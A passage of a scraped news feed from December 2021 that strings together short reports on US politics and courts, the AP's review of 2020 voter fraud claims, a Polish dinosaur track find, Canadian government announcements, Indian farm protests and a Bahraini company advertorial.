called a stipulation agreement for any other appraiser at that point in their application. She said it broke with established procedures, giving Peters a third chance to pass a work review; applicants are usually granted two opportunities. Brens appearance was compelled by subpoena. After retiring, she filed an age discrimination lawsuit and accepted a $200,000 settlement that bars her from disparaging state officials. Several lawmakers said they would like to see the state remove the nondisparagement clause from Bren's agreement because it would let them get more information. Noem has denied wrongdoing, casting her actions as an effort to cut red tape to address a shortage of appraisers. (Read more Kristi Noem stories.) (Newser) A Texas judge was attacked in his courtroom Tuesday morning during a hearing for what the Houston Chronicle calls "a relatively low-level, non-violent crime" involving alleged false statements on financial paperwork and fraud. But Joseph Catarineau started arguing with Judge Danny Lacayo when the judge asked if Catarineau wanted to hire a lawyer because his had requested to be taken off the case, KHOU reports. Then Lacayo ordered Catarineau held without bail, and the defendant allegedly attacked the bailiff who was supposed to lead him away. That's when Lacayo got off the bench to help. "He was just whaling on her," Lacayo recalls. A witness says Catarineau pulled the deputy to the ground by her ponytail and started punching her. story continues below A prosecutor also tried to help, and then the deputy who was being attacked pulled out her Taser. Catarineau allegedly managed to knock it from her hand and then start punching the judge and prosecutor, who were eventually able to subdue him. But as the deputy Tased him, the charge from her stungun ended up shocking the prosecutor and the judge, too, the prosecutor says. "The bottom line is that Im not going to let a deputy get beat up in front of me," says Lacayo, who was also attacked in a courtroom back in 2018 when he was a public defender. Catarineau is now expected to face additional charges. (Read more Texas stories.) (Newser) Brad Amos asked to work from home at the start of the COVID-19 pandemic, and was denied that request by his supervisors at Dave Ramsey's Tennessee-based company. He then chose to distance himself from colleagues and wear a mask at work, and says he was mocked, demoted, and ultimately fired as a result. Now the 45-year-old is suing Ramsey Solutions, the personal finance empire started by Ramsey, the well-known evangelical Christian anti-debt guru, the New York Times reports. The suit claims the company fostered a "cultlike" atmosphere in which anyone concerned about COVID was told they were experiencing "weakness of spirit" and instructed to rely on the power of prayer. Amos says he was not even allowed to work from home after someone in his department tested positive for COVID. Eventually, others were, but Amos was deemed "essential." story continues below The religious discrimination suit says Amos was fired in July of last year "for taking scientifically prescribed precautions, as required by his sincerely held religious beliefs, in the COVID pandemic," and that Ramsey once threatened to fire anyone who complained to OSHA about the company's COVID protocols. It also says other workers were also mocked for wearing masks to meetings. The company's general counsel says such accusations are nonsense, noting he himself often wears masks to work, and claims Amos was fired because his work started to decline in quality and when a supervisor called him on it, Amos told the supervisor he was "arrogant." Amos' lawyer, in turn, denies that allegation. Ramsey has long criticized COVID-related lockdowns, called vaccine mandates "stupid," threw a large indoor maskless Christmas party last year, and, according to Religious News Service, allegedly called mask-wearers "wusses." (Read more COVID-19 stories.) (Newser) A woman suffered an unthinkable crime committed by her husband, and now Russia will pay, quite literally. Margarita Gracheva was kidnapped by her then-husband in December 2017; he took her into a forest, struck her at least 40 times with an ax, and cut off her hands, per the CBC. The BBC reports doctors were able to reattach what it calls her "mutilated" left hand, which had been kept cold by the snow it fell into. She has minimal movement in the hand, however, and her right arm has been fitted with a prosthetic. Dmitry Grachev was convicted and sentenced to 14 years. But that wasn't the only consideration her case got in court. story continues below The European Court of Human Rights on Tuesday ordered Russia to pay four female domestic violence victims whom the court found the country failed to safeguard. Gracheva is one, and will receive more than $400,000. She had reported her husband's threats to police prior to the attack, but the Moscow Times reports cops only pressured her to withdraw her complaint and closed her case because she hadn't been physically harmed. Following the attack, she tried to sue law enforcement for professional negligence, but that effort went nowhere. Per the European Court of Human Rights, her case demonstrates how under Russian law, domestic abuse isn't dealt with until it causes physical injury. Indeed, the BBC reports that in 2017 President Vladimir Putin signed a law that eased things, with first offenses for domestic violence that don't involve hospitalization no longer qualifying as a criminal offense. Reuters reports that, at the time, Putin said the aim was to minimize state meddling in family affairs. (Read more Russia stories.) (Newser) The House of Representatives on Tuesday night voted 222-208 to recommend that Mark Meadows be held in contempt of Congress. Two Republicans, Liz Cheney and Adam Kinzinger (both of whom sit on the select committee investigating the January 6 Capitol attack) voted with Democrats, CNN reports. The charges will be recommended to the Justice Department, which will make a decision on whether to move forward after Donald Trump's former chief of staff refused to sit for a deposition for the committee. Also Tuesday, as the criminal contempt referral was debated on the House floor, the select committee revealed yet more text messages obtained by Meadows in the days leading up to the attempted insurrection, CNN reports. story continues below One of them was sent from a Georgia government official as then-President Trump asked Georgia's secretary of state to "find" more votes for Trump in that state. "Need to end this call," the text reads. "I don't think this will be productive for much longer." Said Cheney on the House floor, "Some of those text messages, madam speaker, came from members in the chamber right now," including one from the day after the election in which an unnamed lawmaker suggested to Meadows that Republican governors in states that had not yet been called should simply "send their own electors to vote" and let the Supreme Court decide the winner of the election. Also Tuesday, Sean Hannity addressed the Jan. 6 text he sent to Meadows, which had previously been revealed by the select committee, in which he urged Meadows to get Trump to make a statement asking his supporters to leave the Capitol. "Where is the outrage in the media over my private text messages being released again publicly? Do we believe in privacy in this country? Apparently not," Hannity said on his Fox News show, per Deadline. Laura Ingraham, another texter whose message to Meadows was revealed, also blasted the select committee for the release. "The entire January 6th campaign has become one of revenge and defamation," she said. (Read more Mark Meadows stories.) (Newser) President Biden has a new bill on his desk to sign. The legislation provides for a $2.5 trillion increase in the debt ceiling, bringing that number to $31.4 trillion and avoiding a first-ever federal default right at the Wednesday deadline warned of by Treasury Secretary Janet Yellen, reports Reuters. The Democrat-driven measure passed first in the Senate on Tuesday by a 50-49 vote, and then in the House in the early morning hours on Wednesday by a vote of 221 to 209, per the New York Times. Just one Republican congressman, Rep. Adam Kinzinger, voted with his Democratic counterparts on the bill, which is set to cover the government's financial obligations past the midterms and into early 2023. story continues below "The American people can breathe easy and rest assured there will not be a default," Senate Majority Leader Chuck Schumer said. The Senate vote was expedited after Schumer, a Democrat, and GOP Minority Leader Mitch McConnell reached a special deal last week that would allow for the bill to pass by a simple majority vote instead of the 60 votes typically needed to pass legislation in the Senate, with no threat of a filibuster or other Republican efforts to block it. "This is about paying debt accumulated by both parties, so I'm pleased Republicans and Democrats came together," Schumer noted, per Reuters. Some Dems praised McConnell for working with Schumer on the unusual fast-track deal, which staves off a default that the Times notes would be "catastrophic" to the economy. Yellen had earlier noted that if Washington couldn't pay its bills, the US would likely slip into a recession, notes CNBC. Some of McConnell's GOP colleagues, however, aren't happy about the move. "I'm sure this vicious tactic ... has not seen its last use," Utah Sen. Mike Lee griped. But McConnell himself made sure to point out that only Dems, for the most part, would be voting in favor of the debt ceiling increase, a fact that Republicans are sure to dangle in attacking Democrats during the 2022 midterm cycle. "If they jam through another reckless taxing and spending spree, this massive debt increase will just be the beginning," McConnell noted. (Read more debt ceiling stories.) (Newser) Hundreds of millions of years ago, "a very special sequence of events" took place in what's now the village of Borkowice in central-east Poland. As a result, geologists have discovered several hundred well-preserved dinosaur footprintsshowing the extinct animals "running, swimming, resting, and sitting" in muddy earth, says geologist Grzegorz Niedzwiedzki of Sweden's Uppsala University, per Reuters. There are even clear imprints of scaly skin. "I travel around the world, I look at dinosaur tracks, but when I saw these Borkowice specimens, my eyes fell out of my head," Niedzwiedzki says, per Polish News, which reports the collection of fossilized tracks "may be one of the largest in Europe." It's certainly "the best-preserved traces of dinosaurs so far discovered in Poland," according to a research paper. story continues below The "treasure trove" found in an opencast clay mine reveals the movements of at least seven species of dinosaurs, which roamed the area 80 miles south of Warsaw about 200 million years ago, according to the Polish Geological Institute-National Research Institute. "You can read their behavior and habits," says Niedzwiedzki, per Polish News. One imprint shows a dinosaur's front or back legs, per Polish News. Another shows a footprint of a predatory dinosaur measuring 15.7 inches long. There's also evidence of dinosaurs feeding or burying in the ground, Niedzwiedzki notes. "In order for such a state of preservation to be possible, a very special sequence of events had to take place in a short time," geologist Grzegorz Pienkowski of PGI-NRI says in a release. The dinosaurs would've entered the clay bottom of a lagoon soon after waters retreated. The tracks would've dried before the "quick flooding of the area again and the equally quick covering of the surface by sedimentation of a sandbank," Pienkowski adds. "The sand became, with time, a thick layer, which is why we see the footprints bulging out," Reuters quotes Pienkowski as saying. The team expects to add to the already impressive find. "We already have a few hundred footprints and bones in our Borkowice collection," Pienkowski says. "However, it seems that soon, we'll have a thousand such samples." Per Polish News, Niedzwiedzki adds it's only a matter of time before skulls are found. (These dino tracks reveal a speed monster.) (Newser) First it came for our bagels. Now, our Christmas cheesecake. Thanks to a cream cheese shortage around the nation, the holiday dessert staple may be scarce this season, but Kraft is trying to put a positive spin on things with its newest offer. CNN Business reports the company, known for its Philadelphia Cream Cheese brand, is offering $20 to consumers who opt to skip the cheesecake this yearor have to, because they can't find cream cheeseand buy a replacement sweet instead. story continues below The stipulations, per USA Today: The promotion is available to only the first 10,000 people on Friday, followed by 8,000 more on Saturday, who head over to the dedicated SpreadTheFeeling.com website and make a reservation for the $20 payout. Once you receive confirmation of your reservation, you have from the morning of Dec. 28 through 11:59pm ET on Jan. 4 to submit your receipt of a dessert or eligible "dessert ingredient" purchased between Dec. 17 and Christmas Eve. It's the best way the company knows how to fill that "cheesecake-shaped hole in your holiday heart," per a YouTube promo by the Philadelphia Cream Cheese brand. Cream cheese demand has been especially high throughout the pandemic, as more people have been stuck at home and whiling away the time by noshing and baking. A spokeswoman for the brand tells CNN that Kraft is funneling "millions of dollars" into Philly cream cheese to try to meet that "elevated and sustained" demand. "We want to want to ensure that there's enough cream cheese for bagels, cheesecakes, and everything in between," she says. (Read more cream cheese stories.) (Newser) A school board meeting in Connecticut got heated on Tuesday, and for once, COVID requirements and critical race theory weren't the cause. At issue was Glastonbury High School mascots, the subject of the special board of education meeting being held that night in Glastonbury. The school's mascot has historically been the Tomahawks but was changed via an August 2020 vote to the Guardians, reports Fox 61. As NBC Connecticut reports, some people want that decision reversed and signed a petition that complained the decision was made without first seeking "meaningful input" from residents. Hence the meetingwhich reportedly got testy enough that a fight erupted between a BOE member and someone in the audience. story continues below The Hartford Courant cites NBC Connecticut's video in reporting that an audience member yelled at the BOE members during the meeting's public comment portion. A 10-minute recess followed, at which point that same man approached board member Ray McFall, who "lightly pushed" the man away. He allegedly responded with a punch to the face, sending McFall to the floor. (See also this video taken from a different angle.) Glastonbury Police confirmed the disturbance occurred but say no arrests have been made; the meeting was swiftly adjourned after the dust-up happened and no vote on the mascot name took place. (Read more school board stories.) Let us know what you're seeing and hearing around the community. Submit here TDT | Manama The Daily Tribune www.newsofbahrain.com As this great kingdom celebrates its golden year, Shakeel Group pays homage to the remarkable journey of Bahrain in building a nation bound in spirit & resilience, inspired by tradition & driven by innovation. This year, lets remember the historic relevance of the occasion and honour those who were the masterminds in building this rising Kingdom. On this occasion, I extend my utmost congratulations to HM King Hamad bin Isa Al Khalifa, His Royal Highness Prince Salman bin Hamad Al Khalifa, The Crown Prince & Prime Minister for their visionary leadership and the people of this great country for their love and support, said Shakeel Group Chairman & M.D Shakeel Ahmed. This is a day to celebrate and pay tribute to a country known to and has always been supporting the growth of its people and we are forever grateful to the great leaders of this nation. This beautiful Kingdom is the epitome of coexistence & tolerance for religious freedoms and cultural values. Bahrain has always been committed to providing and bolstering the advantages that it already has to become the most attractive business and investment hub in the Middle East. The people of Bahrain and the workforce are very friendly, well-educated and experienced and greatly respect one another with this Bahrain adds real value and competes on a global level. Lets renew our pledge to always uphold our national unity so that we can live together in peace and harmony. The last 2 years have been dominated by Covid, however despite the global challenges we faced, Bahrain remains united as one nation in fostering peace and bringing the people together by proving maximum aid alongside boosting the economy. We have full faith in the leadership vision and the business-friendly economic environment in Bahrain. We wish the Kingdom continued peace, health & prosperity Our journey in this industry began over 3 decades back and today we are one of the oldest and largest distributors of office & school stationery, toys, household items, food and furniture in Bahrain and now in the UAE. Shakeel Group is known for quality products sold at competitive prices. This is further backed by the vision of Shakeel towards business expansion, exceptional customer service and support for social and multicultural activities in Bahrain. Shakeel Trading was primarily involved in the wholesale distribution of stationery. Today, it deals in both retail and wholesale supply of stationery and other consumer products to small, medium and large-scale supermarkets and showrooms across Bahrain. The company has eleven retail and wholesale outlets situated at prime locations in Bahrain. Recently we opened our new branch in Sehla & we aim to further expand our footprints in the Kingdom and capture the market. On the other hand, our sister concern, Bahrain Pride was established in 2003 as a one-stop-shop offering a wide range of goods at the best prices. Today, it continues to be one of the leading supermarket chains in the Kingdom of Bahrain catering to all the communities. Shakeel Trading strives hard to offer customers, a diverse and comprehensive portfolio of superior quality products from worldwide suppliers. The Shakeel Group has its brand of products such as SADAF (Stationery), EMAN (Food), Home Care (Household) and Mai Bahrain (Water) found to be listed in most of the key retail and wholesale outlets providing its customers with the best quality and service. It also enjoys strong support from suppliers and manufacturers from around the world and is an exclusive agent of many well-known international brands like CASIO, Helix, UniBind, Sunpet, Nataraj, Golden Plus, Golden Star, KidArt, Eagles Henna, Kangaro, Taj Mahal Rice, Rasna, Intex, HP, Line plus, Dong-A and so on from countries like UK, Belgium, Japan, Korea, Indonesia, Malaysia, Thailand, South Korea, India, EU and China. To further increase our reach & to make shopping easy, we have also recently launched our app called BAHRAIN PRIDE (Available on both Play Store & App Store) so customers can now shop online at the comfort of their home. ATLANTA, Ga. (AP) An Associated Press review of every potential case of voter fraud in the six battleground states disputed by former President Donald Trump has found fewer than 475 a number that would have made no difference in the 2020 presidential election. Democrat Joe Biden won Arizona, Georgia, Michigan, Nevada, Pennsylvania and Wisconsin and their 79 Electoral College votes by a combined 311,257 votes out of 25.5 million ballots cast for president. The disputed ballots represent just 0.15% of his victory margin in those states. The cases could not throw the outcome into question even if all those votes were for Biden, which they were not, and even if those ballots were actually counted, which in most cases they were not. The review also showed no collusion intended to rig the voting. Virtually every case was based on an individual acting alone to cast additional ballots. Voter fraud is virtually non-existent, said George Christenson, election clerk for Milwaukee County in Wisconsin, where five people statewide have been charged with fraud out of nearly 3.3 million ballots cast. I would have to venture a guess thats about the same odds as getting hit by lightning." The AP review, a process that took months and encompassed more than 300 local election offices, is one the most comprehensive examinations of suspected voter fraud in last years presidential election. It relies on information collected at the local level, where officials must reconcile their ballots and account for discrepancies, and includes a handful of separate cases cited by secretaries of state and state attorneys general. Contacted for comment, Trump repeated a litany of unfounded claims of fraud he had made previously, but offered no new evidence that specifically contradicted the APs reporting. He said a soon-to-come report from a source he would not disclose would support his case, and insisted increased mail voting alone had opened the door to cheating that involved hundreds of thousands of votes. I just dont think you should make a fool out of yourself by saying 400 votes, he said. As he weighs another run for president in 2024, Trump has waded into some Republican primary contests, bestowing endorsements on those who mimic his Stop the steal rhetoric and seeking to exact revenge on some who have opposed his efforts to overturn the results. False claims of a stolen election fueled the deadly Jan. 6 attempted insurrection at the Capitol and have led to death threats against election officials that persist a year later. The number of cases identified by local elections officials and forwarded to prosecutors, local law enforcement or secretaries of state for further review undercuts Trumps claim. They also underscore that there was no coordinated attempt to rig the election. Instead, they overwhelmingly show individuals acting on their own in an attempt to cast a second ballot. Among the culprits in the massive election fraud Trump says deprived him of a second term are a Wisconsin man who mistakenly thought he could vote while on parole, a woman in Arizona suspected of sending in a ballot for her dead mother and a Pennsylvania man who went twice to the polls -- voting once on his own behalf and once for his son. Election officials say that in most cases, those additional ballots were never counted because workers did their jobs and pulled them for inspection before they were added to the tally. For its review, AP reporters in five states contacted roughly 340 election offices for details about every instance of potential voter fraud that was identified as part of their post-election review and certification process. After an election is over, officials research voter records, request and review additional information if needed from the state or other counties, and eventually decide whether to refer potential fraud cases for further investigation. For Wisconsin, the AP relied on a report about fraud investigations compiled by the state and filed public records requests to get the details of each case, in addition to prosecutions that were not initially reported to the state elections commission. Wisconsin is the only one of the six states with a centralized accounting of all potential voter fraud cases. State-by-state details: ARIZONA: Authorities have been investigating 198 possible fraud cases out of nearly 3.4 million votes cast, representing 1.9% of Bidens margin of victory in the state. So far, nine people have been charged. GEORGIA: Election officials have identified 64 potential voter fraud cases, representing 0.54% of Bidens margin of victory. Of those, 31 were determined to be the result of an administrative error or some other mistake. The state attorney general's office is reviewing about 20 cases, but it's not known if those overlap with ones identified by local election officials. MICHIGAN: Officials have identified 56 potential instances of voter fraud, representing 0.04% of Bidens margin of victory. The bulk of the cases involved two people suspected of submitting about 50 fraudulent requests for absentee ballots in Macomb, Wayne and Oakland counties. NEVADA: Local officials identified between 93 and 98 potential fraud cases out of 1.4 million ballots cast, representing less than one-third of 1% of Bidens margin of victory. More than half the total 58 were in Washoe County, which includes Reno, and the vast majority involved allegations of possible double voting. PENNSYLVANIA: Election officials in 11 of the states 67 counties have identified 26 possible cases of voter fraud, representing 0.03% of Bidens margin of victory. WISCONSIN: Election officials have referred 31 cases of potential fraud to prosecutors in 12 of the states 72 counties, representing about 0.15% of Bidens margin of victory. After reviewing them, prosecutors declined to bring charges in 26 of those cases. Additional voter fraud cases are still possible. While the AP review illustrates that such cases do occur, safeguards ensure they are few and that they are caught, said Ben Hovland, a Democrat appointed by Trump to serve on the U.S. Election Assistance Commission, which supports the state and local officials who administer elections. Every credible examination has shown there was no widespread fraud in the 2020 presidential election, Hovland said. Time and again when we have heard these claims and heard these allegations, and when you do a real investigation you see that it is the exception and not the rule. ___ Contributing to this report were Associated Press data journalist Camille Fassett in Oakland, California; reporter Colleen Long in Washington; AP state government reporters Scott Bauer in Fond du Lac, Wisconsin; Bob Christie in Phoenix; David Eggert in Lansing, Michigan; Anthony Izaguirre in Tallahassee, Florida; and Michelle L. Price in New York City; and other AP reporters in Michigan and Pennsylvania. PLACERVILLE, Calif. (AP) A father and son charged with sparking a devastating Northern California wildfire that destroyed about 1,000 homes near Lake Tahoe earlier this year are out of jail after a judge vastly reduced their bail, largely rejecting prosecutors' arguments that the duo posed a flight risk. Travis Shane Smith, 32, had his $1 million bail reduced to $50,000 and his father David Scott Smith, 66, had his $1 million bail reduced to $25,000 on Monday after their attorneys argued the men had no criminal history and no reason to leave behind their families, The Sacramento Bee reported. The Smiths were arrested Dec. 8 and charged in El Dorado County with recklessly starting a fire and illegal possession of a silencer. Travis Smith is also charged with illegal conversion or manufacture of a machine gun. Travis Smith's attorney, Mark Reichel, told The Associated Press on Tuesday that prosecutors have not laid out their theory as to how the men started the Aug. 14 Caldor Fire, which destroyed about 1,000 homes and other buildings, injured five people and forced tens of thousands of others to flee their homes. Theyre very happy to be out, Reichel said. They werent very happy to be arrested. Prosecutor Nora Hall argued that potential prison sentences at least a dozen years for each man made them potential flight risks and that Shane Smiths social media posts indicated a lack of concern for proper firearms safety. But El Dorado Superior Court Judge Ralph Marks said a bail reduction was warranted because there was no evidence the men acted maliciously or with intent. The charges also did not indicate they posed a danger to the community, the judge said. Reichel and Linda Parisi, attorney for the elder Smith, said the men were in the area where the fire sparked and called 911 to report flames. The criminal complaints do not specify how the machine gun and silencer tie into the Caldor Fire, and the DAs office has not offered an explanation. It declined on Tuesday to release additional statements about the case. The fire crossed three Northern California counties, forcing tens of thousands of people to evacuate the resort town of South Lake Tahoe and surrounding areas before it was contained in October. The next scheduled court date for the Smiths is Feb. 1. NEW FAIRFIELD With Connecticut public high schools required to provide Black and Latino Studies courses by next fall, work is underway to implement the new curriculum at New Fairfield High School. In December 2020, Connecticut became the first state in the nation to require high school courses on the contributions of Black and Latino communities to United States history, society, economy and culture. The mandate stems from Public Act No. 19-12, which was implemented after Gov. Ned Lamonts signed the law in 2019 and the Connecticut State Board of Educations unanimous approval of the course curriculum in January 2020. The New Fairfield Board of Education will conduct a second review of the high schools Black and Latino Studies course proposal during its next meeting on Thursday. Its a wonderful opportunity for us to encourage diversity and appreciation for a diverse and enriched approach to their education. Were very excited about it, Social Studies Department Chair William Jones told the board earlier this month. Jones said he believes the new course proposed to be a full-year social studies elective for juniors and seniors will help build empathy and understanding, and he looks forward to adding it to the schools list of courses. It overlaps with several of our existing courses and it will make them much stronger in the process, he added. The Black and Latino Studies curriculum approved by the state education department focuses on a two-pronged, inquiry-based approach that includes content knowledge and student identity development and aims to deliver a content rich and personalized learning experience. More information can be found at https://pa1912.serc.co. Students are not required to take the course. The district looks to offer it as an elective for any 11th and 12th grader who wishes to explore American history through the stories of African-American/Black and Puerto Rican/Latino people, according to the course proposal. In addition to the accomplishments, struggles, intersections, perspectives and collaborations of these communities, the proposed course would teach students about the historical movements, legislation and wars that affected their citizenship rights. They would also learn to identify historic and contemporary tensions around race and difference, map economic and racial disparities over time, strengthen their own identity development and address bias in their communities, according to the proposed course description. To take the course, New Fairfield High School juniors and seniors will need to have earned credit in World History I and World History II, according to the course proposal. School administrators say Black and Latino Studies would not only support the districts ongoing efforts to offer a wide range of engaging elective courses to students, but foster an appreciation of different perspectives on the world in which they live and their development as engaged global citizens. About 28 percent of Connecticut students identify as Hispanic or Latino, while 13 percent identify as Black or African-American, according to state data from 2020-21. To ensure compliance with the law, the state Department of Education will be required to conduct an annual audit, beginning next July, to make sure local and regional school boards are offering Black and Latino studies. No additional staffing at New Fairfield High School is anticipated with the addition of the course, which would be offered as a social studies department elective. Assuming flat staffing for the coming school year, the only impact on other programs will be the viability of courses based on student requests and teachers having an increased number of different preparations, according to the course proposal. The New Fairfield Board of Educations Thursday meeting will start at 7 p.m. and be accessible via Zoom. NEW MILFORD The health department is hiring another contact tracer as cases climb in Connecticut and among New Milford residents. In the state data release last week, the town reported a case rate of 34.9 cases per 100,000 residents, including 78 positive cases during the second week of reporting, and 53 the first. This was one of the highest case rates for the Danbury area. The job description posted on the town website states it is a long-term temporary position, running through the pandemic, ending when the contact tracing requirement is no longer necessary. Contact tracing has been done within the health department, with Health Director Lisa Morrissey and contact tracing staff calling COVID positive residents and people that were exposed to people with COVID. But Morrissey said turnover is high for contact tracers due to the at-times emotional and burdensome job. As you can imagine, you burn out really quickly, she said during Mondays Town Council meeting. The town, by law, is required to contact trace for COVID and any other communicable diseases among residents. The salary would be offset by state grants, Morrissey said. Contact tracing is probably new for most people who were listening. Contact tracing is one of the oldest aspects of public health were talking going back to Ancient Rome, Morrissey told the council. Its not new with COVID-19, what it is is its more burdensome. The job description explains that this is a fast-paced, critical position requiring strong communication skills and computer skills, including strong knowledge of Microsoft Excel and Google Sheets. Interested candidates should submit a town of New Milford employment application with current resume to personnel@newmilford.org. OTTAWA, ON, Dec. 15, 2021 /CNW/ - The climate crisis poses enormous threats to long-term sustainability, global security and economic well-being around the globe. Canada must rapidly reduce carbon emissions and fight climate change in way that works for communities across the country, including Indigenous communities. That is why the Government of Canada is supporting Indigenous communities in exploring the potential of Small Modular Reactors (SMRs) to provide emissions-free energy for a wide range of applications, including electricity generation in remote communities. The Honourable Jonathan Wilkinson, Minister of Natural Resources, today announced an investment of $800,000 in the First Nations Power Authority to create a national Indigenous Advisory Council as part of Canada's Small Modular Reactor (SMR) Action Plan. The new advisory council met for the first time on Monday, November 29, and is composed of individual First Nations, Metis and Inuit members from Saskatchewan, New Brunswick, Ontario, Alberta and the territories to ensure a coordinated, Indigenous national leadership voice on the development of SMRs. The initiative is funded through Natural Resources Canada's Smart Renewables and Electrification Pathways Program (SREPs), which encourages Indigenous inclusion in Canada's energy transition. The advisory council will enable Indigenous communities to be more informed about the role SMRs could play in addressing key national energy challenges and potential opportunities from development and deployment. The Government of Canada continues to support Indigenous participation and leadership through meaningful relationships with First Nations, Metis and Inuit communities as we move toward net-zero emissions by 2050. Quotes "Indigenous leadership will be extremely important in building Canada's low-carbon energy future. This new Indigenous Advisory Council will be playing a key role in helping Indigenous communities assess which energy generation options are right for them." The Honourable Jonathan Wilkinson Minister of Natural Resources "I am excited that we are moving forward on the Indigenous Advisory Council on the Small Modular Reactor Action Plan. Much work over several years has gone into this initiative, and it's great that we are finally ready to kick it off. This council will help prepare Indigenous peoples to participate in the SMR economy in many ways and provide an Indigenous lens to SMR policies, programs and decisions as the SMR Action Plan develops." Guy Lonechild President and CEO First Nations Power Authority Quick Facts In June 2021 , the SREPs announced $964 million in funding to invest in initiatives that will create a more equitable, diverse and inclusive energy sector. , the SREPs announced in funding to invest in initiatives that will create a more equitable, diverse and inclusive energy sector. Launched in 2020, Canada's SMR Action Plan seeks to advance the safe and responsible development and deployment of SMRs through a pan-Canadian approach in partnership with provincial and territorial governments, Indigenous Peoples, organized labour, utilities, industry, innovators, academia and civil society. All 117 signatories of the Action Plan have agreed to strengthen diversity and representation in the nuclear industry and explore meaningful, long-term economic partnership opportunities with Indigenous communities. Related Information Canada's Small Modular Reactor Action Plan The Smart Renewables and Electrification Pathways Program (SREPs) A Healthy Environment and a Healthy Economy First Nations Power Authority Follow us on Twitter: @NRCan (http://twitter.com/nrcan) SOURCE Natural Resources Canada For further information: Natural Resources Canada, Media Relations, 343-292-6100, [email protected]; Joanna Sivasankaran: Press Secretary, Office of the Minister of Natural Resources, 819-790-1907, [email protected] Related Links www.nrcan.gc.ca OTTAWA, ON, Dec. 15, 2021 /CNW/ - With the devastating impacts of climate change on display around the world, the Government of Canada is more committed than ever to working with industry, governments, and communities across the country to protect and restore our oceans. Canada's oceans are home to a rich diversity of species, habitats, and ecosystems that need our help in order to thrive. They feed our families, support important industries, and connect us all. Canada has made significant progress in marine conservation over the last six years, protecting nearly 14 per cent of our oceans by establishing marine protected areas and marine refuges in Canadian waters. We are protecting vital marine elements including coral concentrations, sponge reefs and other important marine habitats that contribute to healthy fish stocks and ecosystems. While we have come a long way, there is more work to be done. That is why, today, the Honourable Joyce Murray, Minister of Fisheries, Oceans and the Canadian Coast Guard, launched a national Call for Proposals for funding ocean conservation and management projects in Canada through the Oceans Management Contribution Program. This is the first national Call for Proposals under this program, which, starting today, provides open access to at least $5 million in funding for eligible marine conservation projects across the country. In addition to this funding, $20 million is being distributed for specific agreements to support ocean conservation and planning in regions across Canada. These opportunities are made possible through Budget 2021's historic $976.8 million investment in marine conservation efforts to protect 25 per cent of Canada's oceans by 2025, working towards 30 per cent by 2030. Achieving ambitious conservation goals for our marine environments takes time, effort, and collaboration. By working together with provincial, territorial, and Indigenous governments, with the support of conservation partners and organizations motivated by the same goals, we can conserve and restore our oceans for generations to come. Quotes: "Conserving Canada's oceans is about more than reaching targets it's about working together to regenerate our marine ecosystems, so our children and grandchildren are able to experience the beauty, diversity, and abundance of our oceans. With every organization and with every innovative idea we support through the Oceans Management Contribution Program, we move a step closer to our common goal of a healthier ocean, now and for the generations to come." The Honourable Joyce Murray, Minister of Fisheries, Oceans and the Canadian Coast Guard Quick Facts The Oceans Management Contribution Program has been in place since 2016, and to date has allocated approximately $22 million to support over 100 projects across the country. Funded projects have included, among others, training programs on ocean governance, the development of marine spatial plans, the identification of potential areas for marine protection, and co-development of an Arctic Marine Monitoring Strategy. to support over 100 projects across the country. Funded projects have included, among others, training programs on ocean governance, the development of marine spatial plans, the identification of potential areas for marine protection, and co-development of an Arctic Marine Monitoring Strategy. Funding applications will be accepted between December 15, 2021 and February 11, 2022 . Organizations are invited to submit proposals under three key streams: outreach, monitoring, and capacity building. Successful applicants will receive funding through contribution agreements to support projects that help manage and conserve our oceans. and . Organizations are invited to submit proposals under three key streams: outreach, monitoring, and capacity building. Successful applicants will receive funding through contribution agreements to support projects that help manage and conserve our oceans. Canada continues to advocate internationally to protect 30 per cent of the world's ocean by 2030, as a member of the Global Ocean Alliance, and the High Ambition Coalition for Nature and People. continues to advocate internationally to protect 30 per cent of the world's ocean by 2030, as a member of the Global Ocean Alliance, and the High Ambition Coalition for Nature and People. As a member of the High Level Panel for a Sustainable Ocean Economy, Canada is committed to sustainably managing 100 per cent of the ocean area under its national jurisdiction by 2025. is committed to sustainably managing 100 per cent of the ocean area under its national jurisdiction by 2025. In September 2022 , Canada will take centre stage in advancing discussions and global cooperation on marine conservation at the 5th International Marine Protected Areas Congress (IMPAC5) in Vancouver, British Columbia . Our oceans are vital to the livelihoods of communities across Canada . We want to keep our oceans healthy, while also growing ocean industries sustainably to create more opportunities for coastal communities. That's why we're creating a sustainable Blue Economy Strategy. Associated Links Stay Connected Follow Fisheries and Oceans Canada on Twitter, Facebook, Instagram and YouTube. Follow the Canadian Coast Guard on Twitter, Facebook, Instagram and YouTube. SOURCE Fisheries and Oceans (DFO) Canada For further information: Kevin Lemkay: Director of Communications, Office of the Minister of Fisheries, Oceans and the Canadian Coast Guard, 613-408-5568, [email protected]; Media Relations: Fisheries and Oceans Canada, 613-990-7537, [email protected] Related Links http://www.dfo-mpo.gc.ca "Talks underway with the Centre after withdrawal of 3 farm laws. Our movement is suspended, not withdrawn," said Tikait in his statement to the media on Wednesday. Protesting farmers have started returning to their homes from protest sites along Delhis borders with neighbouring states. Farmers from Ghazipur, Tikri, Singhu, and Kaushambi borders have started vacating the protest sites after their year-long agitation against the now-repealed farm laws came to an end. Bhartiya Kisan Union(BKU) leader Rakesh Tikait has also left for his home in UPs Sisauli. Speaking to ANI, Rakesh Tikait had earlier said, All farmers will be leaving the protest sites by December 15. The next meeting of SKM will be on January 15. I am thankful to everyone who has been with us. I also extend my gratitude to the people who ran langars, villagers who brought essentials for us. Talks underway with the Centre after withdrawal of 3 farm laws. Our movement is suspended, not withdrawn, said Tikait in his statement to the media on Wednesday before embarking for his home. Moreover, Samyukt Kisan Morcha(SKM) has warned the central government, If the government does not fulfil its promises, we could resume our agitation. STAMFORD With more than $635 million in fresh capital, a local company is pushing ahead with plans to plaster the rooftops of offices, warehouses and shopping centers nationwide with solar panels. Altus Power America debuted its new AMPS stock listing last week, with executives on Friday ringing the opening bell of the New York Stock Exchange. To gain the listing, the company merged with a blank check company formed by CBRE, the largest commercial real estate brokerage and management firm in the United States, giving it access to the public markets. While companies like Sunnova Energy and SunRun have focused on residential solar, Altus Power is securing agreements with commercial building owners. Enter CBRE, which formed a special-purpose acquisition company to sell stock to investors to fund the combination and provide fresh capital for Altus. The real answer to the scaling question came in the form of CBREs interest if youre a company thats looking to put solar on rooftops, there is probably no better entity on the planet to partner up with than CBRE, Altus Power co-CEO Lars Norell said in a September podcast hosted by CBRE. CBRE manages seven billion square feet of real estate and hundreds of thousands of rooftops. Altus Power is also pursuing traditional solar farms on unused land, including in Northford about five miles east of New Haven. The Connecticut Siting Council is considering the proposal. In a Securities & 